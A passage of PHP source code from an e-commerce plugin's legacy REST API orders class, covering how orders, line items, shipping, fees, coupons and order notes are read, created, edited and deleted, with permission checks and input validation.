'customer_user_agent' => $order->get_customer_user_agent(), 'customer_id' => $order->get_user_id(), 'view_order_url' => $order->get_view_order_url(), 'line_items' => array(), 'shipping_lines' => array(), 'tax_lines' => array(), 'fee_lines' => array(), 'coupon_lines' => array(), ); // add line items foreach ( $order->get_items() as $item_id => $item ) { $product = $item->get_product(); $hideprefix = ( isset( $filter['all_item_meta'] ) && 'true' === $filter['all_item_meta'] ) ? null : '_'; $item_meta = $item->get_all_formatted_meta_data( $hideprefix ); foreach ( $item_meta as $key => $values ) { $item_meta[ $key ]->label = $values->display_key; unset( $item_meta[ $key ]->display_key ); unset( $item_meta[ $key ]->display_value ); } $order_data['line_items'][] = array( 'id' => $item_id, 'subtotal' => wc_format_decimal( $order->get_line_subtotal( $item, false, false ), $dp ), 'subtotal_tax' => wc_format_decimal( $item->get_subtotal_tax(), $dp ), 'total' => wc_format_decimal( $order->get_line_total( $item, false, false ), $dp ), 'total_tax' => wc_format_decimal( $item->get_total_tax(), $dp ), 'price' => wc_format_decimal( $order->get_item_total( $item, false, false ), $dp ), 'quantity' => $item->get_quantity(), 'tax_class' => $item->get_tax_class(), 'name' => $item->get_name(), 'product_id' => $item->get_variation_id() ? $item->get_variation_id() : $item->get_product_id(), 'sku' => is_object( $product ) ? $product->get_sku() : null, 'meta' => array_values( $item_meta ), ); } // add shipping foreach ( $order->get_shipping_methods() as $shipping_item_id => $shipping_item ) { $order_data['shipping_lines'][] = array( 'id' => $shipping_item_id, 'method_id' => $shipping_item->get_method_id(), 'method_title' => $shipping_item->get_name(), 'total' => wc_format_decimal( $shipping_item->get_total(), $dp ), ); } // add taxes foreach ( $order->get_tax_totals() as $tax_code => $tax ) { $order_data['tax_lines'][] = array( 'id' => $tax->id, 'rate_id' => $tax->rate_id, 'code' => $tax_code, 'title' => $tax->label, 'total' => wc_format_decimal( $tax->amount, $dp ), 'compound' => (bool) $tax->is_compound, ); } // add fees foreach ( $order->get_fees() as $fee_item_id => $fee_item ) { $order_data['fee_lines'][] = array( 'id' => $fee_item_id, 'title' => $fee_item->get_name(), 'tax_class' => $fee_item->get_tax_class(), 'total' => wc_format_decimal( $order->get_line_total( $fee_item ), $dp ), 'total_tax' => wc_format_decimal( $order->get_line_tax( $fee_item ), $dp ), ); } // add coupons foreach ( $order->get_items( 'coupon' ) as $coupon_item_id => $coupon_item ) { $order_data['coupon_lines'][] = array( 'id' => $coupon_item_id, 'code' => $coupon_item->get_code(), 'amount' => wc_format_decimal( $coupon_item->get_discount(), $dp ), ); } return array( 'order' => apply_filters( 'woocommerce_api_order_response', $order_data, $order, $fields, $this->server ) ); } /** * Get the total number of orders * * @since 2.4 * * @param string $status * @param array $filter * * @return array|WP_Error */ public function get_orders_count( $status = null, $filter = array() ) { try { if ( ! current_user_can( 'read_private_shop_orders' ) ) { throw new WC_API_Exception( 'woocommerce_api_user_cannot_read_orders_count', __( 'You do not have permission to read the orders count', 'woocommerce' ), 401 ); } if ( ! empty( $status ) ) { if ( 'any' === $status ) { $order_statuses = array(); foreach ( wc_get_order_statuses() as $slug => $name ) { $filter['status'] = str_replace( 'wc-', '', $slug ); $query = $this->query_orders( $filter ); $order_statuses[ str_replace( 'wc-', '', $slug ) ] = (int) $query->found_posts; } return array( 'count' => $order_statuses ); } else { $filter['status'] = $status; } } $query = $this->query_orders( $filter ); return array( 'count' => (int) $query->found_posts ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Get a list of valid order statuses * * Note this requires no specific permissions other than being an authenticated * API user. Order statuses (particularly custom statuses) could be considered * private information which is why it's not in the API index. * * @since 2.1 * @return array */ public function get_order_statuses() { $order_statuses = array(); foreach ( wc_get_order_statuses() as $slug => $name ) { $order_statuses[ str_replace( 'wc-', '', $slug ) ] = $name; } return array( 'order_statuses' => apply_filters( 'woocommerce_api_order_statuses_response', $order_statuses, $this ) ); } /** * Create an order * * @since 2.2 * * @param array $data raw order data * * @return array|WP_Error */ public function create_order( $data ) { global $wpdb; try { if ( ! isset( $data['order'] ) ) { throw new WC_API_Exception( 'woocommerce_api_missing_order_data', sprintf( __( 'No %1$s data specified to create %1$s', 'woocommerce' ), 'order' ), 400 ); } $data = $data['order']; // permission check if ( ! current_user_can( 'publish_shop_orders' ) ) { throw new WC_API_Exception( 'woocommerce_api_user_cannot_create_order', __( 'You do not have permission to create orders', 'woocommerce' ), 401 ); } $data = apply_filters( 'woocommerce_api_create_order_data', $data, $this ); // default order args, note that status is checked for validity in wc_create_order() $default_order_args = array( 'status' => isset( $data['status'] ) ? $data['status'] : '', 'customer_note' => isset( $data['note'] ) ? $data['note'] : null, ); // if creating order for existing customer if ( ! empty( $data['customer_id'] ) ) { // make sure customer exists if ( false === get_user_by( 'id', $data['customer_id'] ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_customer_id', __( 'Customer ID is invalid.', 'woocommerce' ), 400 ); } $default_order_args['customer_id'] = $data['customer_id']; } // create the pending order $order = $this->create_base_order( $default_order_args, $data ); if ( is_wp_error( $order ) ) { throw new WC_API_Exception( 'woocommerce_api_cannot_create_order', sprintf( __( 'Cannot create order: %s', 'woocommerce' ), implode( ', ', $order->get_error_messages() ) ), 400 ); } // billing/shipping addresses $this->set_order_addresses( $order, $data ); $lines = array( 'line_item' => 'line_items', 'shipping' => 'shipping_lines', 'fee' => 'fee_lines', 'coupon' => 'coupon_lines', ); foreach ( $lines as $line_type => $line ) { if ( isset( $data[ $line ] ) && is_array( $data[ $line ] ) ) { $set_item = "set_{$line_type}"; foreach ( $data[ $line ] as $item ) { $this->$set_item( $order, $item, 'create' ); } } } // calculate totals and set them $order->calculate_totals(); // payment method (and payment_complete() if `paid` == true) if ( isset( $data['payment_details'] ) && is_array( $data['payment_details'] ) ) { // method ID & title are required if ( empty( $data['payment_details']['method_id'] ) || empty( $data['payment_details']['method_title'] ) ) { throw new WC_API_Exception( 'woocommerce_invalid_payment_details', __( 'Payment method ID and title are required', 'woocommerce' ), 400 ); } update_post_meta( $order->get_id(), '_payment_method', $data['payment_details']['method_id'] ); update_post_meta( $order->get_id(), '_payment_method_title', sanitize_text_field( $data['payment_details']['method_title'] ) ); // mark as paid if set if ( isset( $data['payment_details']['paid'] ) && true === $data['payment_details']['paid'] ) { $order->payment_complete( isset( $data['payment_details']['transaction_id'] ) ? $data['payment_details']['transaction_id'] : '' ); } } // set order currency if ( isset( $data['currency'] ) ) { if ( ! array_key_exists( $data['currency'], get_woocommerce_currencies() ) ) { throw new WC_API_Exception( 'woocommerce_invalid_order_currency', __( 'Provided order currency is invalid.', 'woocommerce' ), 400 ); } update_post_meta( $order->get_id(), '_order_currency', $data['currency'] ); } // set order meta if ( isset( $data['order_meta'] ) && is_array( $data['order_meta'] ) ) { $this->set_order_meta( $order->get_id(), $data['order_meta'] ); } // HTTP 201 Created $this->server->send_status( 201 ); wc_delete_shop_order_transients( $order ); do_action( 'woocommerce_api_create_order', $order->get_id(), $data, $this ); do_action( 'woocommerce_new_order', $order->get_id() ); return $this->get_order( $order->get_id() ); } catch ( WC_Data_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => 400 ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Creates new WC_Order. * * Requires a separate function for classes that extend WC_API_Orders. * * @since 2.3 * * @param $args array * @param $data * * @return WC_Order */ protected function create_base_order( $args, $data ) { return wc_create_order( $args ); } /** * Edit an order * * @since 2.2 * * @param int $id the order ID * @param array $data * * @return array|WP_Error */ public function edit_order( $id, $data ) { try { if ( ! isset( $data['order'] ) ) { throw new WC_API_Exception( 'woocommerce_api_missing_order_data', sprintf( __( 'No %1$s data specified to edit %1$s', 'woocommerce' ), 'order' ), 400 ); } $data = $data['order']; $update_totals = false; $id = $this->validate_request( $id, $this->post_type, 'edit' ); if ( is_wp_error( $id ) ) { return $id; } $data = apply_filters( 'woocommerce_api_edit_order_data', $data, $id, $this ); $order = wc_get_order( $id ); if ( empty( $order ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_id', __( 'Order ID is invalid', 'woocommerce' ), 400 ); } $order_args = array( 'order_id' => $order->get_id() ); // Customer note. if ( isset( $data['note'] ) ) { $order_args['customer_note'] = $data['note']; } // Customer ID. if ( isset( $data['customer_id'] ) && $data['customer_id'] != $order->get_user_id() ) { // Make sure customer exists. if ( false === get_user_by( 'id', $data['customer_id'] ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_customer_id', __( 'Customer ID is invalid.', 'woocommerce' ), 400 ); } update_post_meta( $order->get_id(), '_customer_user', $data['customer_id'] ); } // Billing/shipping address. $this->set_order_addresses( $order, $data ); $lines = array( 'line_item' => 'line_items', 'shipping' => 'shipping_lines', 'fee' => 'fee_lines', 'coupon' => 'coupon_lines', ); foreach ( $lines as $line_type => $line ) { if ( isset( $data[ $line ] ) && is_array( $data[ $line ] ) ) { $update_totals = true; foreach ( $data[ $line ] as $item ) { // Item ID is always required. if ( ! array_key_exists( 'id', $item ) ) { $item['id'] = null; } // Create item. if ( is_null( $item['id'] ) ) { $this->set_item( $order, $line_type, $item, 'create' ); } elseif ( $this->item_is_null( $item ) ) { // Delete item. wc_delete_order_item( $item['id'] ); } else { // Update item. $this->set_item( $order, $line_type, $item, 'update' ); } } } } // Payment method (and payment_complete() if `paid` == true and order needs payment). if ( isset( $data['payment_details'] ) && is_array( $data['payment_details'] ) ) { // Method ID. if ( isset( $data['payment_details']['method_id'] ) ) { update_post_meta( $order->get_id(), '_payment_method', $data['payment_details']['method_id'] ); } // Method title. if ( isset( $data['payment_details']['method_title'] ) ) { update_post_meta( $order->get_id(), '_payment_method_title', sanitize_text_field( $data['payment_details']['method_title'] ) ); } // Mark as paid if set. if ( $order->needs_payment() && isset( $data['payment_details']['paid'] ) && true === $data['payment_details']['paid'] ) { $order->payment_complete( isset( $data['payment_details']['transaction_id'] ) ? $data['payment_details']['transaction_id'] : '' ); } } // Set order currency. if ( isset( $data['currency'] ) ) { if ( ! array_key_exists( $data['currency'], get_woocommerce_currencies() ) ) { throw new WC_API_Exception( 'woocommerce_invalid_order_currency', __( 'Provided order currency is invalid.', 'woocommerce' ), 400 ); } update_post_meta( $order->get_id(), '_order_currency', $data['currency'] ); } // If items have changed, recalculate order totals. if ( $update_totals ) { $order->calculate_totals(); } // Update order meta. if ( isset( $data['order_meta'] ) && is_array( $data['order_meta'] ) ) { $this->set_order_meta( $order->get_id(), $data['order_meta'] ); } // Update the order post to set customer note/modified date. wc_update_order( $order_args ); // Order status. if ( ! empty( $data['status'] ) ) { // Refresh the order instance. $order = wc_get_order( $order->get_id() ); $order->update_status( $data['status'], isset( $data['status_note'] ) ? $data['status_note'] : '', true ); } wc_delete_shop_order_transients( $order ); do_action( 'woocommerce_api_edit_order', $order->get_id(), $data, $this ); do_action( 'woocommerce_update_order', $order->get_id() ); return $this->get_order( $id ); } catch ( WC_Data_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => 400 ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Delete an order * * @param int $id the order ID * @param bool $force true to permanently delete order, false to move to trash * @return array|WP_Error */ public function delete_order( $id, $force = false ) { $id = $this->validate_request( $id, $this->post_type, 'delete' ); if ( is_wp_error( $id ) ) { return $id; } wc_delete_shop_order_transients( $id ); do_action( 'woocommerce_api_delete_order', $id, $this ); return $this->delete( $id, 'order', ( 'true' === $force ) ); } /** * Helper method to get order post objects * * @since 2.1 * @param array $args request arguments for filtering query * @return WP_Query */ protected function query_orders( $args ) { // set base query arguments $query_args = array( 'fields' => 'ids', 'post_type' => $this->post_type, 'post_status' => array_keys( wc_get_order_statuses() ), ); // add status argument if ( ! empty( $args['status'] ) ) { $statuses = 'wc-' . str_replace( ',', ',wc-', $args['status'] ); $statuses = explode( ',', $statuses ); $query_args['post_status'] = $statuses; unset( $args['status'] ); } $query_args = $this->merge_query_args( $query_args, $args ); return new WP_Query( $query_args ); } /** * Helper method to set/update the billing & shipping addresses for * an order * * @since 2.1 * @param \WC_Order $order * @param array $data */ protected function set_order_addresses( $order, $data ) { $address_fields = array( 'first_name', 'last_name', 'company', 'email', 'phone', 'address_1', 'address_2', 'city', 'state', 'postcode', 'country', ); $billing_address = $shipping_address = array(); // billing address if ( isset( $data['billing_address'] ) && is_array( $data['billing_address'] ) ) { foreach ( $address_fields as $field ) { if ( isset( $data['billing_address'][ $field ] ) ) { $billing_address[ $field ] = wc_clean( $data['billing_address'][ $field ] ); } } unset( $address_fields['email'] ); unset( $address_fields['phone'] ); } // shipping address if ( isset( $data['shipping_address'] ) && is_array( $data['shipping_address'] ) ) { foreach ( $address_fields as $field ) { if ( isset( $data['shipping_address'][ $field ] ) ) { $shipping_address[ $field ] = wc_clean( $data['shipping_address'][ $field ] ); } } } $this->update_address( $order, $billing_address, 'billing' ); $this->update_address( $order, $shipping_address, 'shipping' ); // update user meta if ( $order->get_user_id() ) { foreach ( $billing_address as $key => $value ) { update_user_meta( $order->get_user_id(), 'billing_' . $key, $value ); } foreach ( $shipping_address as $key => $value ) { update_user_meta( $order->get_user_id(), 'shipping_' . $key, $value ); } } } /** * Update address. * * @param WC_Order $order * @param array $posted * @param string $type */ protected function update_address( $order, $posted, $type = 'billing' ) { foreach ( $posted as $key => $value ) { if ( is_callable( array( $order, "set_{$type}_{$key}" ) ) ) { $order->{"set_{$type}_{$key}"}( $value ); } } } /** * Helper method to add/update order meta, with two restrictions: * * 1) Only non-protected meta (no leading underscore) can be set * 2) Meta values must be scalar (int, string, bool) * * @since 2.2 * @param int $order_id valid order ID * @param array $order_meta order meta in array( 'meta_key' => 'meta_value' ) format */ protected function set_order_meta( $order_id, $order_meta ) { foreach ( $order_meta as $meta_key => $meta_value ) { if ( is_string( $meta_key ) && ! is_protected_meta( $meta_key ) && is_scalar( $meta_value ) ) { update_post_meta( $order_id, $meta_key, $meta_value ); } } } /** * Helper method to check if the resource ID associated with the provided item is null * * Items can be deleted by setting the resource ID to null * * @since 2.2 * @param array $item item provided in the request body * @return bool true if the item resource ID is null, false otherwise */ protected function item_is_null( $item ) { $keys = array( 'product_id', 'method_id', 'title', 'code' ); foreach ( $keys as $key ) { if ( array_key_exists( $key, $item ) && is_null( $item[ $key ] ) ) { return true; } } return false; } /** * Wrapper method to create/update order items * * When updating, the item ID provided is checked to ensure it is associated * with the order. * * @since 2.2 * @param \WC_Order $order order * @param string $item_type * @param array $item item provided in the request body * @param string $action either 'create' or 'update' * @throws WC_API_Exception if item ID is not associated with order */ protected function set_item( $order, $item_type, $item, $action ) { global $wpdb; $set_method = "set_{$item_type}"; // verify provided line item ID is associated with order if ( 'update' === $action ) { $result = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}woocommerce_order_items WHERE order_item_id = %d AND order_id = %d", absint( $item['id'] ), absint( $order->get_id() ) ) ); if ( is_null( $result ) ) { throw new WC_API_Exception( 'woocommerce_invalid_item_id', __( 'Order item ID provided is not associated with order.', 'woocommerce' ), 400 ); } } $this->$set_method( $order, $item, $action ); } /** * Create or update a line item * * @since 2.2 * @param \WC_Order $order * @param array $item line item data * @param string $action 'create' to add line item or 'update' to update it * @throws WC_API_Exception invalid data, server error */ protected function set_line_item( $order, $item, $action ) { $creating = ( 'create' === $action ); // product is always required if ( ! isset( $item['product_id'] ) && ! isset( $item['sku'] ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_product_id', __( 'Product ID or SKU is required', 'woocommerce' ), 400 ); } // when updating, ensure product ID provided matches if ( 'update' === $action ) { $item_product_id = wc_get_order_item_meta( $item['id'], '_product_id' ); $item_variation_id = wc_get_order_item_meta( $item['id'], '_variation_id' ); if ( $item['product_id'] != $item_product_id && $item['product_id'] != $item_variation_id ) { throw new WC_API_Exception( 'woocommerce_api_invalid_product_id', __( 'Product ID provided does not match this line item', 'woocommerce' ), 400 ); } } if ( isset( $item['product_id'] ) ) { $product_id = $item['product_id']; } elseif ( isset( $item['sku'] ) ) { $product_id = wc_get_product_id_by_sku( $item['sku'] ); } // variations must each have a key & value $variation_id = 0; if ( isset( $item['variations'] ) && is_array( $item['variations'] ) ) { foreach ( $item['variations'] as $key => $value ) { if ( ! $key || ! $value ) { throw new WC_API_Exception( 'woocommerce_api_invalid_product_variation', __( 'The product variation is invalid', 'woocommerce' ), 400 ); } } $variation_id = $this->get_variation_id( wc_get_product( $product_id ), $item['variations'] ); } $product = wc_get_product( $variation_id ? $variation_id : $product_id ); // must be a valid WC_Product if ( ! is_object( $product ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_product', __( 'Product is invalid.', 'woocommerce' ), 400 ); } // quantity must be positive float if ( isset( $item['quantity'] ) && floatval( $item['quantity'] ) <= 0 ) { throw new WC_API_Exception( 'woocommerce_api_invalid_product_quantity', __( 'Product quantity must be a positive float.', 'woocommerce' ), 400 ); } // quantity is required when creating if ( $creating && ! isset( $item['quantity'] ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_product_quantity', __( 'Product quantity is required.', 'woocommerce' ), 400 ); } if ( $creating ) { $line_item = new WC_Order_Item_Product(); } else { $line_item = new WC_Order_Item_Product( $item['id'] ); } $line_item->set_product( $product ); $line_item->set_order_id( $order->get_id() ); if ( isset( $item['quantity'] ) ) { $line_item->set_quantity( $item['quantity'] ); } if ( isset( $item['total'] ) ) { $line_item->set_total( floatval( $item['total'] ) ); } elseif ( $creating ) { $total = wc_get_price_excluding_tax( $product, array( 'qty' => $line_item->get_quantity() ) ); $line_item->set_total( $total ); $line_item->set_subtotal( $total ); } if ( isset( $item['total_tax'] ) ) { $line_item->set_total_tax( floatval( $item['total_tax'] ) ); } if ( isset( $item['subtotal'] ) ) { $line_item->set_subtotal( floatval( $item['subtotal'] ) ); } if ( isset( $item['subtotal_tax'] ) ) { $line_item->set_subtotal_tax( floatval( $item['subtotal_tax'] ) ); } if ( $variation_id ) { $line_item->set_variation_id( $variation_id ); $line_item->set_variation( $item['variations'] ); } // Save or add to order. if ( $creating ) { $order->add_item( $line_item ); } else { $item_id = $line_item->save(); if ( ! $item_id ) { throw new WC_API_Exception( 'woocommerce_cannot_create_line_item', __( 'Cannot create line item, try again.', 'woocommerce' ), 500 ); } } } /** * Given a product ID & API provided variations, find the correct variation ID to use for calculation * We can't just trust input from the API to pass a variation_id manually, otherwise you could pass * the cheapest variation ID but provide other information so we have to look up the variation ID. * * @param WC_Product $product * @param array $variations * * @return int returns an ID if a valid variation was found for this product */ function get_variation_id( $product, $variations = array() ) { $variation_id = null; $variations_normalized = array(); if ( $product->is_type( 'variable' ) && $product->has_child() ) { if ( isset( $variations ) && is_array( $variations ) ) { // start by normalizing the passed variations foreach ( $variations as $key => $value ) { $key = str_replace( 'attribute_', '', wc_attribute_taxonomy_slug( $key ) ); // from get_attributes in class-wc-api-products.php $variations_normalized[ $key ] = strtolower( $value ); } // now search through each product child and see if our passed variations match anything foreach ( $product->get_children() as $variation ) { $meta = array(); foreach ( get_post_meta( $variation ) as $key => $value ) { $value = $value[0]; $key = str_replace( 'attribute_', '', wc_attribute_taxonomy_slug( $key ) ); $meta[ $key ] = strtolower( $value ); } // if the variation array is a part of the $meta array, we found our match if ( $this->array_contains( $variations_normalized, $meta ) ) { $variation_id = $variation; break; } } } } return $variation_id; } /** * Utility function to see if the meta array contains data from variations * * @param array $needles * @param array $haystack * * @return bool */ protected function array_contains( $needles, $haystack ) { foreach ( $needles as $key => $value ) { if ( $haystack[ $key ] !== $value ) { return false; } } return true; } /** * Create or update an order shipping method * * @since 2.2 * @param \WC_Order $order * @param array $shipping item data * @param string $action 'create' to add shipping or 'update' to update it * @throws WC_API_Exception invalid data, server error */ protected function set_shipping( $order, $shipping, $action ) { // total must be a positive float if ( isset( $shipping['total'] ) && floatval( $shipping['total'] ) < 0 ) { throw new WC_API_Exception( 'woocommerce_invalid_shipping_total', __( 'Shipping total must be a positive amount.', 'woocommerce' ), 400 ); } if ( 'create' === $action ) { // method ID is required if ( ! isset( $shipping['method_id'] ) ) { throw new WC_API_Exception( 'woocommerce_invalid_shipping_item', __( 'Shipping method ID is required.', 'woocommerce' ), 400 ); } $rate = new WC_Shipping_Rate( $shipping['method_id'], isset( $shipping['method_title'] ) ? $shipping['method_title'] : '', isset( $shipping['total'] ) ? floatval( $shipping['total'] ) : 0, array(), $shipping['method_id'] ); $item = new WC_Order_Item_Shipping(); $item->set_order_id( $order->get_id() ); $item->set_shipping_rate( $rate ); $order->add_item( $item ); } else { $item = new WC_Order_Item_Shipping( $shipping['id'] ); if ( isset( $shipping['method_id'] ) ) { $item->set_method_id( $shipping['method_id'] ); } if ( isset( $shipping['method_title'] ) ) { $item->set_method_title( $shipping['method_title'] ); } if ( isset( $shipping['total'] ) ) { $item->set_total( floatval( $shipping['total'] ) ); } $shipping_id = $item->save(); if ( ! $shipping_id ) { throw new WC_API_Exception( 'woocommerce_cannot_update_shipping', __( 'Cannot update shipping method, try again.', 'woocommerce' ), 500 ); } } } /** * Create or update an order fee * * @since 2.2 * @param \WC_Order $order * @param array $fee item data * @param string $action 'create' to add fee or 'update' to update it * @throws WC_API_Exception invalid data, server error */ protected function set_fee( $order, $fee, $action ) { if ( 'create' === $action ) { // fee title is required if ( ! isset( $fee['title'] ) ) { throw new WC_API_Exception( 'woocommerce_invalid_fee_item', __( 'Fee title is required', 'woocommerce' ), 400 ); } $item = new WC_Order_Item_Fee(); $item->set_order_id( $order->get_id() ); $item->set_name( wc_clean( $fee['title'] ) ); $item->set_total( isset( $fee['total'] ) ? floatval( $fee['total'] ) : 0 ); // if taxable, tax class and total are required if ( ! empty( $fee['taxable'] ) ) { if ( ! isset( $fee['tax_class'] ) ) { throw new WC_API_Exception( 'woocommerce_invalid_fee_item', __( 'Fee tax class is required when fee is taxable.', 'woocommerce' ), 400 ); } $item->set_tax_status( 'taxable' ); $item->set_tax_class( $fee['tax_class'] ); if ( isset( $fee['total_tax'] ) ) { $item->set_total_tax( isset( $fee['total_tax'] ) ? wc_format_refund_total( $fee['total_tax'] ) : 0 ); } if ( isset( $fee['tax_data'] ) ) { $item->set_total_tax( wc_format_refund_total( array_sum( $fee['tax_data'] ) ) ); $item->set_taxes( array_map( 'wc_format_refund_total', $fee['tax_data'] ) ); } } $order->add_item( $item ); } else { $item = new WC_Order_Item_Fee( $fee['id'] ); if ( isset( $fee['title'] ) ) { $item->set_name( wc_clean( $fee['title'] ) ); } if ( isset( $fee['tax_class'] ) ) { $item->set_tax_class( $fee['tax_class'] ); } if ( isset( $fee['total'] ) ) { $item->set_total( floatval( $fee['total'] ) ); } if ( isset( $fee['total_tax'] ) ) { $item->set_total_tax( floatval( $fee['total_tax'] ) ); } $fee_id = $item->save(); if ( ! $fee_id ) { throw new WC_API_Exception( 'woocommerce_cannot_update_fee', __( 'Cannot update fee, try again.', 'woocommerce' ), 500 ); } } } /** * Create or update an order coupon * * @since 2.2 * @param \WC_Order $order * @param array $coupon item data * @param string $action 'create' to add coupon or 'update' to update it * @throws WC_API_Exception invalid data, server error */ protected function set_coupon( $order, $coupon, $action ) { // coupon amount must be positive float if ( isset( $coupon['amount'] ) && floatval( $coupon['amount'] ) < 0 ) { throw new WC_API_Exception( 'woocommerce_invalid_coupon_total', __( 'Coupon discount total must be a positive amount.', 'woocommerce' ), 400 ); } if ( 'create' === $action ) { // coupon code is required if ( empty( $coupon['code'] ) ) { throw new WC_API_Exception( 'woocommerce_invalid_coupon_coupon', __( 'Coupon code is required.', 'woocommerce' ), 400 ); } $item = new WC_Order_Item_Coupon(); $item->set_props( array( 'code' => $coupon['code'], 'discount' => isset( $coupon['amount'] ) ? floatval( $coupon['amount'] ) : 0, 'discount_tax' => 0, 'order_id' => $order->get_id(), ) ); $order->add_item( $item ); } else { $item = new WC_Order_Item_Coupon( $coupon['id'] ); if ( isset( $coupon['code'] ) ) { $item->set_code( $coupon['code'] ); } if ( isset( $coupon['amount'] ) ) { $item->set_discount( floatval( $coupon['amount'] ) ); } $coupon_id = $item->save(); if ( ! $coupon_id ) { throw new WC_API_Exception( 'woocommerce_cannot_update_order_coupon', __( 'Cannot update coupon, try again.', 'woocommerce' ), 500 ); } } } /** * Get the admin order notes for an order * * @since 2.1 * @param string $order_id order ID * @param string|null $fields fields to include in response * @return array|WP_Error */ public function get_order_notes( $order_id, $fields = null ) { // ensure ID is valid order ID $order_id = $this->validate_request( $order_id, $this->post_type, 'read' ); if ( is_wp_error( $order_id ) ) { return $order_id; } $args = array( 'post_id' => $order_id, 'approve' => 'approve', 'type' => 'order_note', ); remove_filter( 'comments_clauses', array( 'WC_Comments', 'exclude_order_comments' ), 10, 1 ); $notes = get_comments( $args ); add_filter( 'comments_clauses', array( 'WC_Comments', 'exclude_order_comments' ), 10, 1 ); $order_notes = array(); foreach ( $notes as $note ) { $order_notes[] = current( $this->get_order_note( $order_id, $note->comment_ID, $fields ) ); } return array( 'order_notes' => apply_filters( 'woocommerce_api_order_notes_response', $order_notes, $order_id, $fields, $notes, $this->server ) ); } /** * Get an order note for the given order ID and ID * * @since 2.2 * * @param string $order_id order ID * @param string $id order note ID * @param string|null $fields fields to limit response to * * @return array|WP_Error */ public function get_order_note( $order_id, $id, $fields = null ) { try { // Validate order ID $order_id = $this->validate_request( $order_id, $this->post_type, 'read' ); if ( is_wp_error( $order_id ) ) { return $order_id; } $id = absint( $id ); if ( empty( $id ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note_id', __( 'Invalid order note ID', 'woocommerce' ), 400 ); } $note = get_comment( $id ); if ( is_null( $note ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note_id', __( 'An order note with the provided ID could not be found', 'woocommerce' ), 404 ); } $order_note = array( 'id' => $note->comment_ID, 'created_at' => $this->server->format_datetime( $note->comment_date_gmt ), 'note' => $note->comment_content, 'customer_note' => (bool) get_comment_meta( $note->comment_ID, 'is_customer_note', true ), ); return array( 'order_note' => apply_filters( 'woocommerce_api_order_note_response', $order_note, $id, $fields, $note, $order_id, $this ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Create a new order note for the given order * * @since 2.2 * @param string $order_id order ID * @param array $data raw request data * @return WP_Error|array error or created note response data */ public function create_order_note( $order_id, $data ) { try { if ( ! isset( $data['order_note'] ) ) { throw new WC_API_Exception( 'woocommerce_api_missing_order_note_data', sprintf( __( 'No %1$s data specified to create %1$s', 'woocommerce' ), 'order_note' ), 400 ); } $data = $data['order_note']; // permission check if ( ! current_user_can( 'publish_shop_orders' ) ) { throw new WC_API_Exception( 'woocommerce_api_user_cannot_create_order_note', __( 'You do not have permission to create order notes', 'woocommerce' ), 401 ); } $order_id = $this->validate_request( $order_id, $this->post_type, 'edit' ); if ( is_wp_error( $order_id ) ) { return $order_id; } $order = wc_get_order( $order_id ); $data = apply_filters( 'woocommerce_api_create_order_note_data', $data, $order_id, $this ); // note content is required if ( ! isset( $data['note'] ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note', __( 'Order note is required', 'woocommerce' ), 400 ); } $is_customer_note = ( isset( $data['customer_note'] ) && true === $data['customer_note'] ); // create the note $note_id = $order->add_order_note( $data['note'], $is_customer_note ); if ( ! $note_id ) { throw new WC_API_Exception( 'woocommerce_api_cannot_create_order_note', __( 'Cannot create order note, please try again.', 'woocommerce' ), 500 ); } // HTTP 201 Created $this->server->send_status( 201 ); do_action( 'woocommerce_api_create_order_note', $note_id, $order_id, $this ); return $this->get_order_note( $order->get_id(), $note_id ); } catch ( WC_Data_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => 400 ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Edit the order note * * @since 2.2 * @param string $order_id order ID * @param string $id note ID * @param array $data parsed request data * @return WP_Error|array error or edited note response data */ public function edit_order_note( $order_id, $id, $data ) { try { if ( ! isset( $data['order_note'] ) ) { throw new WC_API_Exception( 'woocommerce_api_missing_order_note_data', sprintf( __( 'No %1$s data specified to edit %1$s', 'woocommerce' ), 'order_note' ), 400 ); } $data = $data['order_note']; // Validate order ID $order_id = $this->validate_request( $order_id, $this->post_type, 'edit' ); if ( is_wp_error( $order_id ) ) { return $order_id; } $order = wc_get_order( $order_id ); // Validate note ID $id = absint( $id ); if ( empty( $id ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note_id', __( 'Invalid order note ID', 'woocommerce' ), 400 ); } // Ensure note ID is valid $note = get_comment( $id ); if ( is_null( $note ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note_id', __( 'An order note with the provided ID could not be found', 'woocommerce' ), 404 ); } // Ensure note ID is associated with given order if ( $note->comment_post_ID != $order->get_id() ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note_id', __( 'The order note ID provided is not associated with the order', 'woocommerce' ), 400 ); } $data = apply_filters( 'woocommerce_api_edit_order_note_data', $data, $note->comment_ID, $order->get_id(), $this ); // Note content if ( isset( $data['note'] ) ) { wp_update_comment( array( 'comment_ID' => $note->comment_ID, 'comment_content' => $data['note'], ) ); } // Customer note if ( isset( $data['customer_note'] ) ) { update_comment_meta( $note->comment_ID, 'is_customer_note', true === $data['customer_note'] ? 1 : 0 ); } do_action( 'woocommerce_api_edit_order_note', $note->comment_ID, $order->get_id(), $this ); return $this->get_order_note( $order->get_id(), $note->comment_ID ); } catch ( 